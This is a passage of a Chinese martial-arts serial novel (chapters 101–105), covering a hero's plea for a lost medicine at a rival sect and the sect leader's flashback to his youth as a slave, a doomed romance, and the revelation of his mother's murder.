见老瘸子这般执着,老头儿也不再与其争执,微微一笑,长袖一挥,寺门前满地的落叶皆往一处汇聚,接着,地上沙土松动,露出一个大坑来,落叶尽数埋入坑内:“老伙计,走吧,下棋去。”话罢便向寺内走去。 瘸子见了也懒得争执:“下就下,我还怕你不成。”话罢,也向寺内走去。 进去一看,偌大的白马寺,只有两个十五六岁的小僧在默默的扫地,小僧看见那瘸子也不问话,只是笑着点点头。瘸子和老者也跟着点头问好。 两人来到一处院子里,看着满是灰尘的石桌石凳,完全不符合待客之道,但老者却没有生气,反而笑道:“这地方好啊,满是灰尘,久无来客,清静!” “见笑了。”老瘸子话罢,一挥衣袖,石桌石凳上的灰尘尽皆褪去,敞亮如新。 魅影教总坛: 大殿之上,无冥正端坐主位,闭目养神。突然左护法钦铉急冲冲的跑来:“教主,门口来了个中原人,说是来求药的。” “这种小事你也报?”无冥挥手示意钦铉将其赶走。 钦铉支支吾吾道:“我等恐非其敌手。” 无冥听了,睁开眼来,瞬间有了兴趣:“到底是何人?” “昭相雪。” 第一百〇一章 孤胆闯龙潭 魅影教门口,两个弟子将大门打开,拿出一根绳子来,对昭相雪说道:“昭大侠,外人要进我教,需缚住双手。” 昭相雪也不犹豫,伸手配合,两人绑好后,便带着昭相雪向大殿走去。 进了大殿,只见殿内已经密密麻麻站了不少人,两大护法,三大长老,八大堂主,一个没落下,当下全坐在殿下,怒目盯着昭相雪。 “昭相雪,天堂有路你不走,地狱无门你自投,我说过的吧,下次相遇,我会亲手杀了你。”无冥一边品着茶,一边又说道:“说吧,来我魅影教所为何事,看在你主动求死的份上,或许我会满足你。” 昭相雪毫无惧色,坦然道:“要杀要剐任凭处置,只请教主能再赠我一瓶青茯散。” “青茯散?”当下听见药名,殿内一片哗然,议论纷纷:“真是将死之人,什么都敢要!”“张口就要青茯散,放肆!”“这人莫不是想拿青茯散去救谷月清!”…… 魅影右使藏榆不悦道:“昭相雪,你可真敢讲,青茯散乃是我派祖师无冥子所制,无冥祖师逝世之际,只留下三瓶,配方早已失传。” “没错,历代掌门皆小心保存着青茯散,但传至我代时,仍只剩下一瓶。”魅影左使钦铉说道。 “求骷教主将那一瓶药赐给我,我愿以命相换。”昭相雪突然跪下,低头请求道。 众皆哗然,无冥看着跪下的昭相雪,也不回应,只是默默的看着。 钦铉起身说道:“教主,青茯散乃我派至宝,切不可答应,这昭相雪只身闯龙潭,分明找死,我看,根本不用拿东西和他交换,我等这就冲上去,杀了昭相雪,替死去的兄弟们报仇!”话罢,八大堂主,三大长老、两大护法也都站起身来,欲一拥而上杀掉昭相雪,这时昭相雪亦站起身来,汇聚内力,瞬息间便将束缚双手的绳索冲断,同时,身上自然而然的形成了一个银白色的保护罩,摆开守势。 场面眼看就要失控了,无冥站起身来,将茶杯的盖子往地下一摔,只听“砰”的一声,殿下教众立马安静下来,都停了手,坐回原位上。昭相雪的保护罩也渐渐褪去。 无冥将茶递给身旁侍卫,示意其送过去,侍卫慢慢走到昭相雪身前,递给了昭相雪。 无冥道:“来,尝一尝,刚泡好的雪榆。” 入乡随俗,当下有求于人,无冥送茶,自是不好推辞,昭相雪接过茶喝了一口。 “如何?” “甘甜爽口,沁人心脾!” 无冥听了大笑起来:“雪榆和青茯散都是无冥祖师留下的,取材都极其稀有,雪榆茶你可以随便喝,但青茯散我不会再给你了。” “为何?” “刚才他们已经说得很清楚了,青茯散的配方已经失传了,不过,雪榆的配方却没有。” “不是说还剩一瓶吗?我愿以命相换!”话罢,昭相雪拔出身上佩剑,直接架在自己脖子上。 见此情形,场上所有人皆大惊失色,各怀鬼胎。 司州白马寺: “弃马保卒,老道士,你这笔买卖可不划算。”瘸子一边说着一边平车将对面那匹被放弃的黑马吃掉。 “乾坤未定,这些棋子皆是黑马,而我这个小卒,它已逼近大营,当是黑马中的头马。”老头儿一边说着,一边将之前保下的小卒拱入帅营。 “话虽如此,但你用一匹马换来一个小卒的安稳,我总觉得不划算。”老瘸子一边说着,一边支仕驱赶那小卒。 “天下万物皆有定数,你我的时代已经过去了,空抱残躯挡在他们身前,又有何用。还不如退隐放手,护住他们身后,且让他们年轻人自己去闯,自己去搏,如此,他们才能从一个个小卒,晋升为一匹匹黑马。”老头儿一边说着,一边继续将小卒往前拱去,卡住象口。 “我看你是真的老了,退隐放手如何能护住这冲锋在前的小卒。”瘸子一边说着,一边将车收回,追杀那小卒。 “这下,他跑不了了吧。”瘸子得意的看着老头儿。 “老伙计,跟你说过多少遍了,下棋不能只看眼前,要看得长远,对了,我解释一下,我说的退隐身后可不是躲在身后,该出手时,还得出手,比如现在。”话罢,那老头儿便提起中间的炮将对面的小兵吃掉:“将军” 此时,左右两边的相被一车一卒卡得死死的动弹不得,此时,炮将红帅,只能将仕支开或者支回,但那都救不了危在旦夕的帅府。因为无论瘸子怎么走,老头儿都会将车平至帅前,当做炮架,届时,车炮双将,当是绝杀。 “我输了。”瘸子起身,鞠了一躬。 瘸子又道:“棋输了还能重来,人生却不能。” “谁说人生不能重来?只要你愿意,从现在往后的每一天,都是全新的人生。” 瘸子眼前一亮:“所以,道长今日前来,是到了出手的那天了?” 老者摇摇头:“非也,我是专程前来找老伙计叙旧的,顺便,也打探一下《万幻影诀》功法的奥秘。” “如今,我儿子将天下搅得大乱,这样坐视不管,怕是不妥吧。” “老伙计别急,还没到出手的那天呢,你先跟我详细的说说这《万幻影诀》的事,还有那无冥的事吧。” 乌桓魅影教总坛: 无冥衣袖向外一挥,说道:“你们都出去吧,我和这位昭相雪单独聊聊。” 众人面面相觑,久久不散。无冥再说道:“草野之战上,他不是我对手,今日大殿之上,同样不是,出去。” “是” 众皆退去后,无冥示意昭相雪坐在旁边空位上:“知道我是谁吗?” “魅影教第四代教主——骷魅。” 无冥听了,微笑着摇摇头:“你要的青茯散乃是百年前无冥子所制,传至骷魅这代时,只剩下一瓶,而这仅剩的一瓶现在也没了。” 昭相雪大惊:“怎么会?难道说,前些天那瓶便是最后一瓶?!” 无冥点点头没有说话,而昭相雪见无冥点头,瞬间悲从中来,但他仍没放弃,再问道:“可有配制此药的方法?” 无冥微微一笑:“此药乃是百年前无冥所制,而无冥刚配制好此药,还没来得及留下配方,你们中原武林便围攻了琼剑山,所以,此药自配好那天起,便已失传了,那日给你的那瓶青茯散,便是最后一瓶。” 听了这话,昭相雪瞬间整个人个瘫软了,呆在原地,不知所措,估计,现在随便一个鼠辈,拿着长剑过去,即使架在昭相雪脖子上,他也不会反抗。 无冥继续说道:“想再配制青茯散也并不是没有办法。” 昭相雪一下来了精神,追问道:“什么办法?” “找无冥啊,药是他发明的,找他再配几瓶即可。” 无冥子已死百年,找得到个屁啊,找到了也不过是骷髅一具,有何用?昭相雪一边自嘲着,一边苦笑。 “对了,你刚才说我是骷魅,不全对。”无冥摇摇头再说道:“这身体确实是骷魅的身体,但灵魂却不是,骷魅受到刺激,他灵魂早已消失不见,现在驾驭这副躯体的,乃是无冥子的残念。” 昭相雪哪儿会信这不着边际的鬼话,苦笑着摇摇头。 “你不信?好,那我就给你讲讲百年前,我的故事吧。” 第一百〇二章 小狐狸 无冥站起身,在大殿上来回渡步:“其实,我真名不叫无冥,具体为何,我自己也答不上上来……” 无冥者,乌桓族人,自有意识起,他便在司州给当地一个郁姓富豪做奴隶,据管家所说他是乌桓败军之子,是郁老爷怜他年幼,将他从官府手中赎回,所以,自小无冥便在郁府家做家奴,因其聪明勇敢,能言善辩,那户人家给他取了个小名——小狐狸,除了大夫人和管家待他刻薄些,经常有事儿没事儿故意找茬外,其他主人待他都还不错,外出也经常带着他,尤其是大小姐,每次大夫人找茬,她总会站出来替小狐狸辩解,这位小姐最大的爱好便是女伴男装偷偷上街游玩,当然,每次都必定会带上小狐狸一起,对了,这位小姐名叫郁雨曦。 时光飞逝,一转眼,小狐狸已在郁府做了十六年的家奴。 大厅之上,郁老爷正在训斥郁小姐。 “你也老大不小了,整天就知道在外面鬼混,一点儿没个大家闺秀的样子,哪家公子会看上你啊!”郁老爷气愤道。 “看不上我?我还看不上他们呢,那些个公子爷,除了吃喝嫖赌,什么也不会,想娶我?我还不嫁呢!”郁雨曦一边喝茶一边说道。 听了女儿这话,郁老爷大怒,一拍茶桌,直接将茶杯震倒在地:“你给我滚出去。”郁老爷指着门口说道。 郁雨曦立马起身,冲郁老爷身后的小狐狸俏皮的笑了笑,接着转身便向门外走去。 小姐走后,郁老爷低头沉思,无奈的摇着头。小狐狸自是蹲着拾起地上碎茶杯。 “小狐狸,你别打扫了,一会儿我让小李打扫,你先起来,我问你几个问题。” “你老实说,小姐最近的一次偷溜出府,是什么时候?” “回老爷话,是上月初九。”小狐狸恭恭敬敬的答道。 听了这回答,郁老爷大怒,再次猛拍桌子:“放肆!是不是我平日里对你太好了,让你忘了自己身份了?!” 小狐狸见状慌忙跪下,低头不语。 “卖布料的王老板都跟我说了,这个月起码见过曦儿两次!” “会不会是他看错了啊,毕竟王老板都六十多岁了。”小狐狸混淆视听道。 “对,有可能,王老板六十多岁,年纪大了,认错人很正常,但卖桃酥的赵老板呢,他今年才三十岁,他说这个月至少见过曦儿五次!这你怎么说?你们不会真以为女扮男装便没人能认出来了吧!” 小狐狸头低得更低了,不敢发出丝毫声响。 “当初,我见你聪明勇敢,能言善辩才给你取名小狐狸的,怎么的,十几年过去了,小狐狸长大了,成老狐狸了?学会坑蒙拐骗了?连我都敢欺骗了?!”郁老爷怒道。 “小人不敢。”小狐狸叩头道。 “不敢?哪儿还有你这老狐狸不敢的事!”“当初,你怎么说的?说什么每次陪曦儿偷溜出去,都会前来禀告我,说什么,这样总比曦儿一个人,偷偷溜出去好。确实,你聪明勇敢,有你跟着,我很放心,她是小姐,而你只是个下人,拦不住她,我不怪你,我也从没说过要你拦住她,但你事后知会我一声这不难吧!啊,不难吧!” 小狐狸轻轻摇摇头。 “哼,这几个月,曦儿偷溜出去的次数越来越多,而你来报的次数却越来越少,你真以为我就你一个眼线?!蠢材!”郁老爷再拍桌怒骂道。 “小人知错了,以后再也不敢了,老爷息怒。” 一旁管家凑过来说道:“老爷,这小狐狸从小就不老实了,我看,最近小姐偷溜出去的次数这么多,怕就是这小狐狸怂恿的,不如,把这小狐狸的双腿打断了,这样,他就不会再怂恿小姐外出了。” “冤枉啊,老爷,小人没有怂恿小姐啊。”小狐狸拼命磕头求饶道。 “你撒谎,小姐自小乖巧文静,不是你这贱奴带坏的,还能有谁!”管家继续诬陷道。 “够了,小狐狸,看在你之前在山西帮我卖掉那批茶叶的份上,这次我就留你双腿,但犯了如此大错,不罚不行,即日起,你不再是小姐的伴读书童,你搬到东院柴房去住,给伙房劈柴挑水,若你再敢怂恿小姐出去,我必亲手打断你双腿,我说到做到!” 小狐狸抬起头来,看见郁老爷一脸怒色,哪敢争辩,只能照办了:“是。” 此时,小姐正紧张的等在门口。 见小狐狸出来了,郁雨曦立马关心道:“小狐狸,你没事儿吧。” 见是小姐,小狐狸强撑着苦笑道:“没事儿,你以后要听话点儿,别惹老爷生气了。” “我哪儿敢惹他生气啊,你突然说这些干嘛。” 小狐狸笑了笑:“没事儿,我要换去柴房工作了,以后,再也不是你的伴读书童了。” “啊?柴房?为什么会这样!我爹惩罚你了?” “没有没有”小狐狸连连摆手,满脸笑容:“我自己申请的,柴房清静,干活也轻松。” “怎么会?柴房又脏又乱,哪儿是人住的地方,不行我得去跟爹说说,是我自己想偷溜出去的,不关你事,他要罚,罚我好了。”郁雨曦转身便要进房去理论。 小狐狸见事急,一把抓住郁雨曦的右手,将她拉回。 两人双手相接,郁雨曦瞬间脸颊红晕,低下头,娇羞一笑。 见状,小狐狸立马松开了手说道:“失礼了失礼了。”话罢转身便快步离去。 郁雨曦丝毫没有要怪罪小狐狸的意思,反而是看着小狐狸离去的背影,抿嘴偷笑起来,接着,她转身再进大厅去,同父亲理论起来。 自那以后,风平浪静的过去了两个月,两个月,小狐狸老老实实的呆在柴房里,整天过着三点一线的枯燥生活,劈柴挑水、吃饭、睡觉。两月来,郁雨曦也再没来找过小狐狸,或许是柴房太脏乱了,以小姐那般高贵的身份,怎会到这种地方来,亦或者是那天,小狐狸以奴隶的身份牵了小姐的手,冒犯了小姐,惹她生气了,再或者说,老爷已经找了新的下人陪小姐溜出去玩了,已经不需要他了。总而言之,两人自那天以后,再没有任何交集。 又是一个枯燥乏味的下午,小狐狸无聊,蹲在地上低头看着两队蚂蚁打架,突然身后传出一个女子温柔的声音:“小狐狸,这蚂蚁大战什么时候才打完啊。” 小狐狸转过头,这才发现郁雨曦不知何时站在身后,此刻正微笑的看着他。 见是郁雨曦来访,小狐狸立马站起,看着她傻笑起来。 “蚂蚁大战有这么好看吗,瞧把你看得这么乐。” “我笑,是因为你来了。”小狐狸脱口而出道。 听了这话,郁雨曦竟也笑了起来,追问道:“真的?” 小狐狸鬼使神差的点点了头。 “我才不信你这油嘴滑舌的小狐狸呢。” “真的。”小狐狸一脸真诚的看着郁雨曦。 场面一度很安静,几乎能听见风吹叶落之声!两个人都低头不语,最终,还是郁雨曦先说道:“我想最后再偷溜出去一次,你能陪我吗?” “这……”小狐狸犹豫不决,毕竟再被老爷发现,可是要打断双腿的。 第一百〇三章 缘之所起 无冥回到主位上,再端起一杯茶水,喝了起来,喝完之后,接着说道:“虽然我可能会被打断双腿,但那天,我还是陪她溜出去了……” 那天,小狐狸和郁雨曦去了小镇上的很多地方,不管是以前去过的还是以前没去过的,都逛了一遍,甚至连青楼都去逛了一遍,不同于以往的早去早回,那天他们在外面玩得很晚,还在八仙楼吃了晚饭,喝了些小酒,看着着渐渐暗淡的天色,两人估摸着,已是戌时(19:00——21:00),而郁雨曦依旧没有要回去的意思,还想和小狐狸去河边赏月,这一次,小狐狸的感性战胜了理性,知道回去必有“大劫难”后,也不着急了,干脆“舍命”陪红颜,不计后果的疯狂一回好了。 两人肩并肩躺在河边草坝上,看着皎洁的月亮,说来也巧,今晚的月亮很圆,群星亦十分闪耀,旁边树林里的知了也在不停的吟叫着,尽是一片祥和之景。 “小狐狸,你有喜欢的人吗?”郁雨曦一边赏着月色,一边佯装随意的问道。 小狐狸愣了片刻,答道:“有啊,你呢?” 郁雨曦轻声笑了笑:“我啊?我当然也有啊。” 小狐狸听了一怔,神色居然变得慌乱起来:“是,张公子吗?” 郁雨曦一脸诧异:“张公子?张旭?为什么你会说是他?” “这两个月,我听说张旭经常来找你,他还送了许多奇珍异宝、许多精美服饰,对你这么好,况且他是中原第一派八仙门主之子,仪表不凡,武功高强,身份高贵,你喜欢他应该是理所应当的吧。”小狐狸语气失落道。 见小狐狸失落,郁雨曦笑了笑:“哇哦,你不说,我都不知道张旭有这么多优点呢。” “啊,你真的喜欢他?”小狐狸满是着急的看着郁雨曦。 郁雨曦也不急着否认,反而是大笑起来:“大家都夸你聪明机灵,称你小狐狸,我看该叫小木瓜才对。” “小木瓜?” “对啊,又木,又呆瓜。” “什么啊”小狐狸一把将郁雨曦拉起,两人坐在河边,对视着:“你快说,你是不是真的喜欢那张旭。” 此刻,小狐狸完全没注意到自己的手正紧紧的抓着郁雨曦的手,皎洁的月色也并没有将郁雨曦脸颊上娇羞的绯红色照应出来。 郁雨曦摇摇头否认,接着,直勾勾的盯着小狐狸问道:“小狐狸,我问你件事,你只需回答是或者不是。” 小狐狸点点头。 接着郁雨曦一脸真诚的看着他,竟问道:“你老实告诉我,你是不是喜欢我。” 场面一度十分安静,知了吟叫的声音格外响耳,小狐狸没有回答,而是默默低下了头。 见此情景,郁雨曦并没放弃,而是再追问道:“回答我,是或者不是。”话音刚落,突然天空中一陨石划破云层,竟朝小狐狸他们这边击来,小狐狸立马挡在郁雨曦身前,陨石不是很大,只有拳头大小,当下直接落在小狐狸他们面前五米处的河中,接着,陨石朝小狐狸射去耀眼白光,时间很短,没照多久便渐渐暗淡下去。 于此同时,小狐狸突然像着了魔怔一般,转过身对郁雨曦说道:“是!我喜欢你,一直以来,都很喜欢你!” 郁雨曦愣住了,不可思议的看着小狐狸。 小狐狸顿了片刻又接着说道:“对不起,我只是个奴隶,不应该喜欢上你的,但感情这事我实在藏不住,郁雨曦,郁小姐,我喜欢你,真的很喜欢你!” 听了这话,郁雨曦瞬间泪崩了:“真好,我也喜欢你。”话罢,一下子抱紧了小狐狸。 见状,小狐狸懵了,呆在原地,完全不敢相信这是真的,郁雨曦一边抱着小狐狸,一边将小狐狸的手抓着往自己后背放,让小狐狸也抱住自己。 “小狐狸,你娶我吧。” “啊,可是,你爹他……” “别管他们,他们从来没有在意过我,我们远走高飞吧,离开这个可怕的地方,随便去哪儿都可以,只要能远离这里!只要有你陪着我!”郁雨曦一边说着一边抱得更紧了。 “老爷待我不薄,我们这样对他,不好吧。” “小狐狸,你看错我爹了,我们都看错他了,快带我走吧,这个鬼地方,我一刻也不想在待下去了,离开司州,离开中原,我们去关外,去乌桓吧!”郁雨曦一边说着,一边拉着小狐狸的手想要离开。 但小狐狸还在犹豫着,呆在原地,不知所措,口中喃喃道:“不行,老爷待我不薄,我只是个贫贱的奴隶,怎能带着身份尊贵的小姐私奔呢!” “小狐狸,你说什么呢,我都不在意这些,你在意这些干嘛!”话罢,强拉着小狐狸,但以郁雨曦的力气,显然拉不动他 “这样不妥!不合礼法!”小狐狸呆在原地,一个劲儿的摇头:“我只是个奴隶,给不了你想要的生活的,我不能辜负了你。”显然,那一刻,小狐狸自卑了。 “小狐狸,快带我走啊,晚了就来不及了。”郁雨曦明显着急了,略带哭腔的说道。一边一说着,一边用力拉起小狐狸。 这时,灯火四起,两队人马从四方围来,为首的正是郁老爷,还有一个年轻人,后来,得知,那个年轻人正是张旭。 看着两人在月下手牵着手,郁老爷十分生气,对左右怒道:“把他们两个给我抓回去!赶紧的!” 当下十几人一拥而上,将两人分开,郁雨曦哭喊着:“小狐狸,带我走啊,小狐狸!” 小狐狸却只是悲痛的看着郁雨曦,一言不发,一个劲儿的摇头,接着,两人被分开带往两个不同的方向。 “郁老爷,这事儿我暂且先不告诉爹,后天大婚时,我希望你能准时将曦儿送到我府上完婚,否则,我将今日这事告知爹爹,你知道他老人家脾气的。”张旭笑里藏刀,咄咄逼人道。 “贤婿放心,这两天,我亲自照看曦儿,绝不会让意外再发生!” 那天晚上,小狐狸被关到了一个地窖之下,地窖不大,但却挤着十几个奴隶,个个瘦得跟个皮包骨似的,除了一个五十几岁的老头儿外,其他的最大的才二十三四,而小的估摸着只有五六岁,大家同为奴隶,相处起来倒也没有起什么争执。 第一百〇四章 缘之所灭 长夜漫漫,小狐狸却没有睡意,辗转反侧,想着今晚的事,旁边那个五十几岁的老头儿凑过来看着小狐狸小声问道:“兄弟,犯了什么事被主人送到这儿来了啊。” 小狐狸看了他一眼,没有理会他,那人见小狐狸不理,又接着说道:“被关在这里的,几乎都是没有户籍的黑市奴隶。” “黑市奴隶?什么意思?”小狐狸问道。 “就是不在官府登记范围内的外籍奴隶,简单来说,这批奴隶并不是因犯错才被贬为奴隶,而是自小便被人从外地掳走,强行充当奴隶的正常人。” “荒唐!他们这么做,不违背大汉王法吗!”小狐狸怒道。 见小狐狸如此激动,老头儿连忙示意他声音小点儿,接着老头儿说道:“当然违背了,可他们哪在乎这么多,富贵险中求,在暴利的驱使下,铤而走险也未尝不可,且这野奴在黑市上已经流通了三百多年了,官府岂会不知?不过是睁一只眼闭一只眼罢了” “不对,照先生所言,这里关的皆是未在官府登记在册的黑市奴隶,可为何我在此处?” “哈哈”那老头儿大笑着丝毫没有想问小狐狸来历的意思,反而讽刺道:“真是个天大的笑话啊,一个正常人被掳走后,无罪充当了十几年奴隶,最后还真的把自己当奴隶了。”话罢,老头儿也不再搭理小狐狸,独自躺下睡去:“有趣,真是有趣。” 看着睡去的怪老头儿,小狐狸陷入沉思。慢慢的,小狐狸也陷入梦境,梦中,小狐狸被装在一个大水缸中,几欲窒息,每次探出头,都会被几柄利剑刺回来,同时,脑海中还回荡着一个妇女的声音:儿子,一定要活下去,活下去! 终于挨过了漫漫长夜,眼下,小狐狸被关在地窖之下,又饥又饿,都过了晌午,也没见个来送饭的,但窖内却并没任何骚动,似乎无人送饭已是常态。 “老头儿,你昨晚说的是不是真的?”小狐狸想了一晚也没想明白,再次追问道。 那老头儿笑了笑:“知道我是谁吗?” 小狐狸摇头不解。 “我先跟你聊聊八仙门吧,八仙门创自战国,自创立之初,八仙门便自诩为江湖第一正派,八仙门,派如其名,是将当时的八大门派聚在一起形成的一个全新门派,八门分别为:药门、暗器门、剑门、刀门、业门、技门、机械门、玄门,八门各有所长,各有所短,不过自创立之后,八门便互相扶持,共同进步,全门上下的发展倒也十分祥和,几百年以来,八仙门一直维护着各方百姓的安危,但二十年前,张黎即位八仙门总门主后,一切都变了,他嘴上说着以维护天下百姓安危为己任,实际却在背地里干着残害百姓的勾当,表面上,他带着我们各门弟子,帮助百姓广修水利,广开良田,但背地里,却派他的亲信技门、暗器门子弟烧杀劫掠当地百姓,抓捕幼年小孩贩卖到黑市奴隶交易所,谋取暴利。” “这二十年来,剑门、刀门、业门、机械门门主相继离世,而新任盟主皆是他张黎的亲信,算上技门和暗器门,如今这八仙门,已有六门归于张黎手下,只剩下玄门和药门仅存,近来,他终于向药门动手了,我也是糊涂,二十年前,玄门门主黄弧便极力反对过张黎继门。说张黎品行不正,终将毁灭八仙门,当时我还不信,还站起来和他争论过。可笑!当真是可笑!”老头儿摇摇头叹气道。 “你就是那个失踪了三年的药门门主?那玄门呢?” “二十年前,张黎继位总门主,玄门门主黄弧当即宣布退出八仙门,玄门弟子也跟着全部退了出去,后来听说,玄门全部迁往了幽州,还改了教名。” “改了个什么教名?” “教名?叫什么呢?让我好好想想。”老头儿挠着头,自言自语着。 正话间,两个守卫爬下地窖,对里面众人问道:“小狐狸是谁。” “是我。” “跟我们走一趟。”两个守卫将小狐狸带离了地窖,来到一树林。 树林里,郁雨曦正站在里面等着小狐狸,而她身后,则跟着十几个壮汉。 “曦儿”看见郁雨曦也在树林里,小狐狸第一反应便是想冲过去抱起她。但只迈出一步,便被身后的两个守卫紧紧拉住。 小狐狸没有挣扎。“曦儿,你没事儿吧,郁老爷没有怪罪你吧。” “我没事儿。”郁雨曦嘴上说着没事儿,眼角却流下泪来。 “小狐狸,我有个礼物要送给你。”郁雨曦一边说着,一边拿出一个拳头大小的小葫芦,接着她将那小葫芦递给左右,侍卫拿着这个礼物上下端详了一番,并无不妥,接着将葫芦递给了小狐狸。 “小狐狸,小葫芦,你们两个读音倒还挺像的,以后我不在身边,就让这个葫芦陪着你吧。” “好,我知道了,我会妥善保管好的。”小狐狸接过那小葫芦,小心的放在手心。 “对,千万要保管好,千万别摔碎了。” 小狐狸笑着点点头。 左右提醒道:“小姐,时间差不多了,别让我们难办,老爷还等着呢。” 郁雨曦点点头,接着对小狐狸再嘱咐道:“千万别把葫芦摔坏了,千万别,摔碎了!”郁雨曦语气变得焦急了起来。 这时左右侍卫说道:“时辰已到,走了。”话罢便强行拉着郁小姐离开,郁小姐一边走,还一边回头喊道:“千万别,摔破了!千万!千万!”两人渐渐离远,郁雨曦突然朝这边大喊道:“小狐狸,我喜欢你,真的很喜欢你!” “曦儿,我也喜欢你。”小狐狸听了,也朝那边喊去。 最终,郁雨曦上了马车,渐渐远去,小狐狸身后的两个守卫见了这幕竟偷笑起来:“张少爷可真是倒霉啊,还没结婚,头上就发绿了。” “两位大哥,你们刚才那话是什么意思啊?”小狐狸转身问道。 “什么意思?你心里不清楚吗?能撬张旭少爷的墙角,你也是个人才啊。”守卫再次大笑起来。 “你的意思是,郁雨曦小姐要和张旭少爷成婚?” “对啊,张老爷明天会在八仙楼办婚宴,庆祝张旭少爷和郁雨曦小姐结婚,届时大宴四方来宾,不论男女老幼,不论高低贵贱,来者不拒,皆是贵客。你现在不是奴隶身了,你也可以去啊。” “我不是奴隶身了?” “没错,有人替了奴隶身付了个好价钱,现在,你可以走了。”守卫点点头。 听了这,小狐狸转身向郁雨曦离去的方向走去,越走越快,越走越快,最后竟跑了起来。而那个小葫芦,自然是被他小心的保护在手心之中。 第一百〇五章 无冥传 小狐狸寻着马车的足迹,跑跑停停,行一天一夜,总算赶回镇上,一边往八仙楼走,一边在路边集市上趁店主不注意,偷拿了个小盒子,将那小葫芦放入盒子中,到八仙楼时,已是酉时(17:00——19:00)。眼下八仙楼不仅坐满了来宾,过道上也都是站满了宾客,都期待着新娘出场。想看看这夫人到底长着何方容颜,竟能惹得这天下第一门派之少主的倾心。 小狐狸左挤有右挤,总算从千多个人中挤到了前排。 终于,在千呼万唤之下,新娘和新郎同时出现在大台之上。新娘一出场便左顾右盼的望着四方来宾,新郎见了,拉住新娘的手,和她小声说了几句话后,新娘这才停下来,不再打量周围宾客,这场大婚的派头可不小,居然是由郡守亲自主持的。 郡守先是一顿海吹了八仙门总门主张黎对本郡的贡献,接着又简略说了说新娘和新郎相知相恋的故事,当然,全是郡守信口胡编的。终于,流程走到了拜堂成亲的一步。 “一拜天地。” 郁雨曦很不情愿,张旭又对她说了些话,接着,郁雨曦慢慢跪下,完成这一拜。 “二拜高堂。” 虽然郁雨曦很不情愿,动作很慢,但最终还是跪拜了郁老爷和八仙门总门主张黎。 “夫妻对拜。” 说时迟,那时快,郡守话音刚落,小狐狸便跳入大台之上,对郡守说道:“我反对,新娘根本不喜欢这个张公子” “你是何人,敢来八仙楼搅局!”张旭一把挡在郁雨曦身前,对小狐狸怒斥道。 郁雨曦歪着头向那边望去,见是小狐狸,又惊又喜。 台下暗器门的门主也站起身来怒斥道:“哪里来的贱奴,敢搅少主婚事,滚出去。”其余门主也都站起来高声驱赶小狐狸,台下看热闹的宾客则窃窃私语着,满脸笑容,等着看好戏呢,而台上高坐的张黎则面不改色,不喜也不怒,看了,能当上总门主的,确实不是什么凡人,至少气度很大。 “今天少主大婚,我派有规矩,不得乱生争斗,快些下去,别误了少主急时。”台下一门主再说道。 “我说的是事实,郁小姐根本不喜欢张公子,今天这场婚礼,完全是张府强迫的。郁小姐真正喜欢的是我!”小狐狸这次没有怂,而是强硬了起来。 “你胡说什么呢?你谁啊。”郡守质问道。 小狐狸正要回答,这时,新娘开口了:“你谁啊,你是什么身份啊?张公子是天下第一门派的少主,而你呢,你是什么身份啊?还敢大言不惭说我喜欢你?你是当奴隶当得太久了吧,也不扫泼尿照照自己,癞蛤蟆想吃天鹅肉,酒喝多了吧,耍什么酒疯,敢在我的新婚之宴上大闹。”语气十分尖酸刻薄,那一刻,这些话如同利刃一般,将小狐狸的心划得粉碎。 “把我送你的东西都砸了吧,我们不可能的!” “不,不”小狐狸呆在原地,刚刚还很强硬的他,此刻,再次陷入深深的自卑情绪中。 “来人啊,这是个酒疯子,把他给我轰出去。”暗器门主大声对左右说道,接着三五个人上去将小狐狸轰出了八仙楼,小狐狸目光全程看着郁雨曦,只见郁雨曦轻声说着什么,但声音太小,隔得太远,完全没有看清楚她到底说了些什么,此刻小狐狸也全程没在细看郁雨曦的唇语,在心中反复读着她刚才那段刻薄的话,自嘲道:“果然,你还是喜欢天下第一大派,瞧不起我这奴隶出身。” 出了八仙楼,他像丢了魂一般,一会儿傻笑,一会痛哭,跌跌撞撞,摇摇晃晃,最后竟来到前些天,他们相会的湖边。 此时已是傍晚,小狐狸坐在湖边,一个低垂着头。 “说什么远走高飞,不过是骗人的鬼话罢了,我只是个身份低贱的奴隶,不喜欢你直说便是,为何要作践我的感情,为什么?骗人很好玩吗?”小狐狸一边说着一边将周围碎石向河边丢去。 “郁雨曦,你个王八蛋!亏我喜欢你十几年,我真是瞎了眼!前天还信誓旦旦的说喜欢我,我竟然还真的信了,王八蛋,你无耻!”小狐狸心中自是十分郁闷,十分难受:“酒,我要喝酒,买酒去。”小狐狸转身欲去买酒去,才发现此刻的他,已经被二十多个壮汉包围了,为首的正是白天刁难自己的暗器门门主贾波。 “有什么事吗”被二十多个人包围,小狐狸亦丝毫没有惧色,或许此刻的他,早已看淡了生死。 “我们没事,你有事!”贾波拔出佩剑,指着小狐狸说道。 “想杀我,好,动手啊。”小狐狸摊开双手,平静的看着贾波。 见小狐狸不反抗,贾波反倒没了兴趣,上下打量了下小狐狸,开口道:“听说,你是郁府的家奴,叫什么小狐狸?” “没错,要杀我可以,千万别找郁老爷他们的麻烦!” “哟哟哟,挺忠诚的嘛。如果,我记得没错的话,你今年有二十岁了吧。” “你怎么知道?” “哈哈哈,我当然知道了,来杀你的路上,我仔细想了想,十六年前在幽州,好像是我虏走的你们母子,说起来,你母亲长得还很水灵,我还想纳她为妾呢,可惜她誓死不从,见她如此贞烈,我也只好满足她了,将她先奸后杀!”贾波一边说着,一边露出变态般的笑容。 “你撒谎,郁府管家说了,我是乌桓败军之子,是郁老爷怜我年幼,将我从官府手中赎回的。你撒谎。” “啧啧啧,还号称小狐狸呢,完全是个榆木脑袋嘛,他们说什么,你就信什么啊,当初不这么说,你会忠心耿耿替他们做事吗?”贾波再讽刺道。“哦,对了,他们肯定说过你小狐狸的外号的由来吧。” “郁老爷说了,因为我聪明勇敢,能言善辩,所以给我取名为小狐狸。” “哈哈,郁老爷可真是幽默呀,这等谎话也编的出来,不过说得也不假,当时,你母亲拼死一搏,将你送走,我们在杀掉你母亲后,立马出来找你。但十几个人找了几圈也没找到你” “最后,大家打算撤退时,一个兄弟的水袋没水了,去屋后水缸里打水,这才将你发现,想不到你个四岁的小屁孩,竟然能在水缸里藏这么久,且毫无声响。所以,当时我们便给你取了个外号——小狐狸。” 听了这话,小狐狸一下被刺激到了,再结合这些年的梦,他全记起来了,四岁那年的一切一切,种种因果。 无冥者,乌桓人士,四岁时,乌桓国战乱,父亲战死,母亲带着他逃难至中原,后来,母亲被八仙门暗器门所奸杀,无冥也跟着成为了奴隶,后来被卖入了郁府,成为了郁府的家奴,并赐了个奴名——小狐狸。 那一刻,他满眼怒火,仇视着贾波。 